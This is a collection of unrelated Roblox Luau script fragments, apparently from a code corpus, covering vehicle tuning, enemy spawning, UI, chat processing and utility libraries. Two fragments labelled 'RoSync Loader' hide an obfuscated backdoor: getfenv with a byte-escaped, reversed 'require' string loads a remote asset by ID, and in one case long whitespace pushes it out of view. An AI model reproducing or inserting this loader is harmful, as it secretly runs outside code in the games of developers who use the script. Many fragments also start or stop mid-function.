Roblox/luau_corpus huggingface dataset:
-- Enemy spawn system
for _,area in pairs(workspace.Areas:GetChildren()) do
	local function RefillEnemies()
		local function SpawnEnemy(spawnRegion)
			local enemyToSpawn = spawnRegion.EnemiesToSpawnHere:GetChildren()[math.random(1,#spawnRegion.EnemiesToSpawnHere:GetChildren())].Name
			local xVectorRandom = spawnRegion.CFrame.RightVector * spawnRegion.Size.X * (math.random(-50, 50) / 100)
			local yVectorRandom = spawnRegion.CFrame.UpVector * spawnRegion.Size.Y * (math.random(-50, 50) / 100)
			local zVectorRandom = spawnRegion.CFrame.LookVector * spawnRegion.Size.Z * (math.random(-50, 50) / 100)
			local spawnPosition = spawnRegion.Position + xVectorRandom + yVectorRandom + zVectorRandom
			require(enemyFunctions).SpawnEnemy(enemyToSpawn, spawnPosition, area.Enemies)
		end
		local enemyCounts = {}
		for _,enemy in pairs(area.Enemies:GetChildren()) do
			if not enemyCounts[enemy.Name] then
				enemyCounts[enemy.Name] = 1
			else
				enemyCounts[enemy.Name] = enemyCounts[enemy.Name] + 1
			end
		end
		for _,spawnRegion in pairs(area.SpawnRegions:GetChildren()) do
			local enemiesInRegion = 0
			for _,enemyToSpawn in pairs(spawnRegion.EnemiesToSpawnHere:GetChildren()) do
				if enemyCounts[enemyToSpawn.Name] then
					enemiesInRegion = enemiesInRegion + enemyCounts[enemyToSpawn.Name]
				end
			end
			for i = 1, spawnRegion.MaximumEnemies.Value - enemiesInRegion do
				SpawnEnemy(spawnRegion)
			end
		end
	end
	if area:FindFirstChild("Enemies") and area:FindFirstChild("SpawnRegions") then
		RefillEnemies()
		area.Enemies.ChildRemoved:Connect(RefillEnemies)
	end
end
--LockController


Closed = true

function LockItems()
	Timer.EnclosureDoor.Buttons.Locked.Value = script.Locked.Value
	if script.Locked.Value == true then
		Timer.EnclosureDoor.Locked.Value = script.Locked.Value
		Timer.EnclosureDoor.Interactive.ProximityPromptService.MaxActivationDistance = 0
	else
		Timer.EnclosureDoor.Interactive.ProximityPromptService.MaxActivationDistance = 8
	end
end

script.Parent.Touched:connect(function(P)
	if P ~= nil and P.Parent ~= nil and P.Parent:FindFirstChild("CardNumber") ~= nil  and P.Parent.CardNumber.Value == 0 then
		if Closed == true then
			Closed = 1
			script.Locked.Value = false
			LockItems()
			script.Parent.Open.Value = true
			wait(1)
			Closed = false
			return
		end
		if Closed == false and Timer.EnclosureDoor.DoorOpen.Value == false then
			Closed = 1
			script.Locked.Value = true
			LockItems()
			script.Parent.Open.Value = false
			wait(1)
			Closed = true
			return
		end

	end
end)
--Light off
	src.Parent.right.Value.Value = 0
	light.Value = false
	else
	src.Parent.right.Value.Value = 1
	light.Value = true
	return
	end
end
end)
src.Parent.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then 
		src:Stop()
		script.Parent:Destroy()
	end
end)
--[[
	
	Alternative to game.Debris:AddItem() which runs on heartbeat (and runs better, for that matter)
	
	60hz accurate
	
	also supports array of objects in 1st arg
		
--]]


function Step()
	--- scan garbage for items that are expired and clean them up
	for i = #garbage, 1, -1 do
		local v = garbage[i]
		local obj = v[1]
		local t = v[2]
		local removetime = v[3]
		local tp = (tick() - t)
		if tp >= removetime then
			if type(obj) == "table" then
				for _, objchild in ipairs(obj) do
					objchild:Destroy()
				end
			else
				obj:Destroy()
			end
			table.remove(garbage, i)
		end
	end
end


coroutine.wrap(function() --- main loop
	while _L.Services.RunService.Heartbeat:Wait() do
		Step()
	end
end)()


return function(obj, t)
	if not t then
		t = 10
	end
	--- add to garbage
	table.insert(garbage, {obj, tick(), t})
end
-----------------------------------------------------------------------------------------------

script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["JestEach"]["JestEach"])

return Package
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 300		-- Spring Dampening
	Tune.FSusStiffness	= 4000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2.5			-- Suspension length (in studs)
	Tune.FPreCompress	= .5		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .5		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= 2		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 8		-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.5		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 300		-- Spring Dampening
	Tune.RSusStiffness	= 4000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2.5			-- Suspension length (in studs)
	Tune.RPreCompress	= .5		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .5		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= 2		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 8			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.5		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--Version 1.43 Made my PistonsofDoom--
local carSeat=script.Parent.Parent.Parent.Parent
local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115}


while true do
	wait(0.01)
	local value=(carSeat.Velocity.magnitude)/1.7 --This is the velocity so if it was 1.6 it should work. If not PM me! or comment!--
	if value<10000 then
		local nnnn=math.floor(value/1000)
		local nnn=(math.floor(value/100))-(nnnn*10)
		local nn=(math.floor(value/10)-(nnn*10))-(nnnn*100)
		local n=(math.floor(value)-(nn*10)-(nnn*100))-(nnnn*1000)
		    script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1]
		if value>=10 then
			script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1]
		else
			script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[12]
		end
		if value>=100 then
			script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1]
		else
			script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[12]
		end
	else
		script.Parent.A.Image="http://www.roblox.com/asset/?id="..numbers[10]
		script.Parent.B.Image="http://www.roblox.com/asset/?id="..numbers[10]	
		script.Parent.C.Image="http://www.roblox.com/asset/?id="..numbers[10]
	end

end
--Traction Control Settings
Tune.TCSEnabled		= false		-- Implements TCS
Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit		= 20		-- Minimum amount of torque at max reduction (in percent)
--Load the Nexus VR Character Model module.
local NexusVRCharacterModelModule
local MainModule = script:FindFirstChild("MainModule")
if MainModule then
    NexusVRCharacterModelModule = require(MainModule)
else
    NexusVRCharacterModelModule = require(10728814921)
end
-- Roact
local new = Roact.createElement
local ToolManualWindow = require(UI:WaitForChild('ToolManualWindow'))

local MANUAL_CONTENT = [[<font face="GothamBlack" size="16">Building Tools by F3X  🛠</font>
To learn more about each tool, click on its ❔ icon at the top right corner.<font size="12"><br /></font>

<font size="12" color="rgb(150, 150, 150)"><b>Selecting</b></font>
 <font color="rgb(150, 150, 150)">•</font> Select individual parts by holding <b>Shift</b> and clicking each one.
 <font color="rgb(150, 150, 150)">•</font> Rectangle select parts by holding <b>Shift</b>, clicking, and dragging.
 <font color="rgb(150, 150, 150)">•</font> Press <b>Shift-K</b> to select parts inside of the selected parts.
 <font color="rgb(150, 150, 150)">•</font> Press <b>Shift-R</b> to clear your selection.<font size="12"><br /></font>

<font size="12" color="rgb(150, 150, 150)"><b>Exporting your creations</b></font>
You can export your builds into a short code by clicking the export button, or pressing <b>Shift-P</b>.<font size="8"><br /></font>
Install the import plugin in <b>Roblox Studio</b> to import your creation:
<font color="rgb(150, 150, 150)">roblox.com/library/142485815</font>]]
-- Load all services within 'Controllers':
Knit.AddControllersDeep(script.Parent.Controllers)
-- Main loop
spawn(function()
    while wait(cooldown) do
        
        if check_movement() then
            
            footstepsSound.SoundId = get_material()
            
            footstepsSound.Parent = nil
            footstepsSound.Parent = rootPart
        end
    end
end)
--[[ Last synced 7/21/2021 01:47                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Thourough check to see if a character is sitting
local function amISitting(character)
	local t = character.Torso
	for _, part in pairs(t:GetConnectedParts(true)) do
		if part:IsA("Seat") then
			return true
		end
	end
end
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player)
	
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return NumOfSupers < 2 and plrData.Classes.Super.Mage.Obtained.Value ~= true
end
--// INITIAL CHECK \\-----------------------------------------------
-- we are checking to see if they've locked first person view
if (game:GetService("StarterPlayer").CameraMode == Enum.CameraMode.LockFirstPerson) or (game:GetService("StarterPlayer").CameraMaxZoomDistance <= 0.5) then
	enableviewmodel() -- theyve locked first person, so enable viewmodel from the start
end
--[[
	@class ServerMain
]]
local ServerScriptService = game:GetService("ServerScriptService")

local loader = ServerScriptService.ClashOfCrayons:FindFirstChild("LoaderUtils", true).Parent
local packages = require(loader).bootstrapGame(ServerScriptService.ClashOfCrayons)

local serviceBag = require(packages.ServiceBag).new()
--[[ Last synced 10/14/2020 09:39 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--Rear Suspension
Tune.RSusDamping	= 500		-- Spring Dampening
Tune.RSusStiffness	= 9000		-- Spring Force
Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

Tune.RSusLength		= 2			-- Suspension length (in studs)
Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
Tune.RCompressLim	= .30		-- Max Compression Travel (in studs)
Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

Tune.RWsBoneLen		= 5			-- Wishbone Length
Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	--[[Lateral]]		-.4		,	-- positive = outward
	--[[Vertical]]		-.5		,	-- positive = upward
	--[[Forward]]		0		}	-- positive = forward
--v.SGUI.Identifier.Text = Stats.Plate.Value
v.SGUI.Identifier.Text = Stats:WaitForChild("Plate").Value
end
end


function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
--[[
	Logging
]]

spawn(function()
	while true do
		debug.profilebegin("RBR1 process queue")
		Log.ProcessQueue('http://localhost:9900')
		debug.profileend()
		wait(1)
	end
end)
--Creates a remote event.
function RemoteEventCreator:CreateRemoteEvent(Name)
	--Warn if an item with that name exists.
	if Tool:FindFirstChild(Name) then
		warn("Conflicting item "..Name.." exists in "..Tool:GetFullName())
	end	
	
	--Create and return the remote event.
	local RemoteEvent = Instance.new("RemoteEvent")
	RemoteEvent.Name = Name
	RemoteEvent.Parent = Tool
	
	return RemoteEvent
end
-- Variables (best not to touch these!)
local button = script.Parent .Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local sound = script.Parent.Parent.Start
local st = script.Parent.Parent.Stall
st.Parent = car.DriveSeat
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
	if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then..
		sound:Play() -- Startup sound plays..
		wait(.6) -- I don't know what to put for this
		script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
		button.Text = "Engine: On"  -- You don't really need this, but I would keep it.
	else -- If it's on then when you click the button,
		st:play()
		script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off.
		button.Text = "Engine: Off"
	end -- Don't touch this.
end) -- And don't touch this either.
-- update loop

game:GetService("RunService").Heartbeat:Connect(function(dt)
	for i,v in pairs(workspace:GetDescendants()) do
	if v.Name == "Head" then
	if (head.Position - v.Position).Magnitude <= 20 then
	BP.Position = lookAt(v.Position);
	local set = springPart.Position;
	neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0);
	waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0);
	else
	BP.Position = lookAt(target.Position);
	local set = springPart.Position;
	neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0);
	waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0);
end
end
end
end);
--Es canvien els primers dos térmens i l'últim es deixa tal qual.
while true do
script.Parent.A.Velocity = script.Parent.A.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.AA.Velocity = script.Parent.AA.CFrame.lookVector *script.Parent.Speed.Value
------------------------------------------------------------------------------------
local WaitTime = 10	-- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Model"	-- If your model is not named this, then make the purple words the same name as the model!
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 0.5 -- cooldown for use of the tool again

BoneModelName = "Ultra hand" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--game.ReplicatedStorage.Events.NomeSave3.OnServerEvent:Connect(function(player, frame)
	--player.Saves.Save3.Value = frame
--////////////////////////////// Include
--//////////////////////////////////////
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local commandModules = clientChatModules:WaitForChild("CommandModules")
local commandUtil = require(commandModules:WaitForChild("Util"))
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))

function methods:SetupCommandProcessors()
	local commands = commandModules:GetChildren()
	for i = 1, #commands do
		if commands[i]:IsA("ModuleScript") then
			if commands[i].Name ~= "Util" then
				local commandProcessor = require(commands[i])
				local processorType = commandProcessor[commandUtil.KEY_COMMAND_PROCESSOR_TYPE]
				local processorFunction = commandProcessor[commandUtil.KEY_PROCESSOR_FUNCTION]
				if processorType == commandUtil.IN_PROGRESS_MESSAGE_PROCESSOR then
					table.insert(self.InProgressMessageProcessors, processorFunction)
				elseif processorType == commandUtil.COMPLETED_MESSAGE_PROCESSOR then
					table.insert(self.CompletedMessageProcessors, processorFunction)
				end
			end
		end
	end
end

function methods:ProcessCompletedChatMessage(message, ChatWindow)
	for i = 1, #self.CompletedMessageProcessors do
		local processedCommand = self.CompletedMessageProcessors[i](message, ChatWindow, ChatSettings)
		if processedCommand then
			return true
		end
	end
	return false
end

function methods:ProcessInProgressChatMessage(message, ChatWindow, ChatBar)
	for i = 1, #self.InProgressMessageProcessors do
		local customState = self.InProgressMessageProcessors[i](message, ChatWindow, ChatBar, ChatSettings)
		if customState then
			return customState
		end
	end
	return nil
end
--[=[
  @function freeze
  @within Array

  @param array {T} -- The array to freeze.
  @return {T} -- The frozen array.

  Freezes the top level of the array, making it read-only.

  ```lua
  local array = { 1, 2, 3, { 4, 5, 6 } }

  local new = Freeze(array)

  new[1] = 4 -- error!
  new[4][1] = 7 -- still works!
  ```
]=]
local function freeze<T>(array: { T }): { T }
	local new = Copy(array)

	table.freeze(new)

	return new
end

return freeze
--!strict
local Sift = script.Parent.Parent

local Util = require(Sift.Util)
local Copy = require(script.Parent.copy)

type Callback<T> = (index: number) -> T
type Updater<T> = (currentValue: T, index: number) -> T

local function call<T>(callback: Callback<T>, index: number)
	if type(callback) == "function" then
		return callback(index)
	end
end
--[=[
	Interpolates betweeen two numbers, given an percent. The percent is
	a number in the range that will be used to define how interpolated
	it is between num0 and num1.

	```lua
	print(Math.lerp(-1000, 1000, 0.75)) --> 500
	```

	@param num0 number -- Number
	@param num1 number -- Second number
	@param percent number -- The percent
	@return number -- The interpolated
]=]
function Math.lerp(num0: number, num1: number, percent: number): number
	return num0 + ((num1 - num0) * percent)
end
--[[
	Enqueues a callback to be run next render step.
]]
function Scheduler.enqueueCallback(callback: TaskCallback)
	willUpdate = true
	callbacks[callback] = true
end
------------------------------------------------------------------------------------------------------------------------------------------------------

	function Core.error(...)
		return error('Nexus Framework | ' .. table.concat({...}, ' '), math.huge)
	end 

	function Core.print(...)
		return print('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback()))
	end

	function Core.warn(...)
		return warn('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback()))
	end 

	function Core.assert(Statement, Message)
		return assert(Statement, Message .. '\n' .. FormatTraceback(debug.traceback()))
	end